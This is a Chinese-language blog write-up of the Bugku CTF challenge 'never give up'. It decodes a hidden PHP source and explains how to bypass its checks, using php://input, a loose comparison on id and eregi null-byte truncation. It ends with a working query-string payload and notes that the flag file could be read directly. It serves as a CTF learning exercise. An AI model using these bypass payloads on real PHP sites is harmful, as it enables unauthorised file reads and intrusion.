当前位置: 代码迷 >> 综合 >> Bugku_never give up
  详细解决方案

Bugku_never give up

热度:71   发布时间:2024-03-06 21:59:14.0

在这里插入图片描述
打开题目,只显示一行never never never give up !!! 没有其他任何信息
抓包又重放了一下,然后有一个HTML的注释
在这里插入图片描述
接着访问一下1p.html,查看网页源代码,发现了一个URL编码的字符串,解码后得到

<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->" 

然后对其进行base64解码后再对其进行url解码得到如下代码:

<?php
if(!$_GET['id'])
{
    header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}?>
  • 通过get对id,a,b进行传参
  • 第一个if:a中不能含有‘.’
  • $data的值是从a的文件中读取到的内容。但是a是通过url的GET传参传进去的,而不是文件,此时可以通过php://input进行绕过。以下是该方法的示例:
<?php$a=$_GET['a'];$data = @file_get_contents($a,'r');
if($data=="abd" )
{
    echo 'you are so smart';}
else
{
    print "never never never give up !!!";
}?>

在这里插入图片描述

  • id的值要问0,但是直接传入0是不可以的,这里可以传入字符/字符串或者符号进行绕过
  • eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的第一个字符组成,若令 substr($b,0,1) = “\x00”,即满足 “1114” 与 "111"匹配。

知道以上以后就可以构造payload了:

http://target/test/hello.php?id=w&b=%001234567&a=php://input

在这里插入图片描述

最可气的是!!!!!!

在这里插入图片描述

可以直接访问这个文件得到flag。。。。。
在这里插入图片描述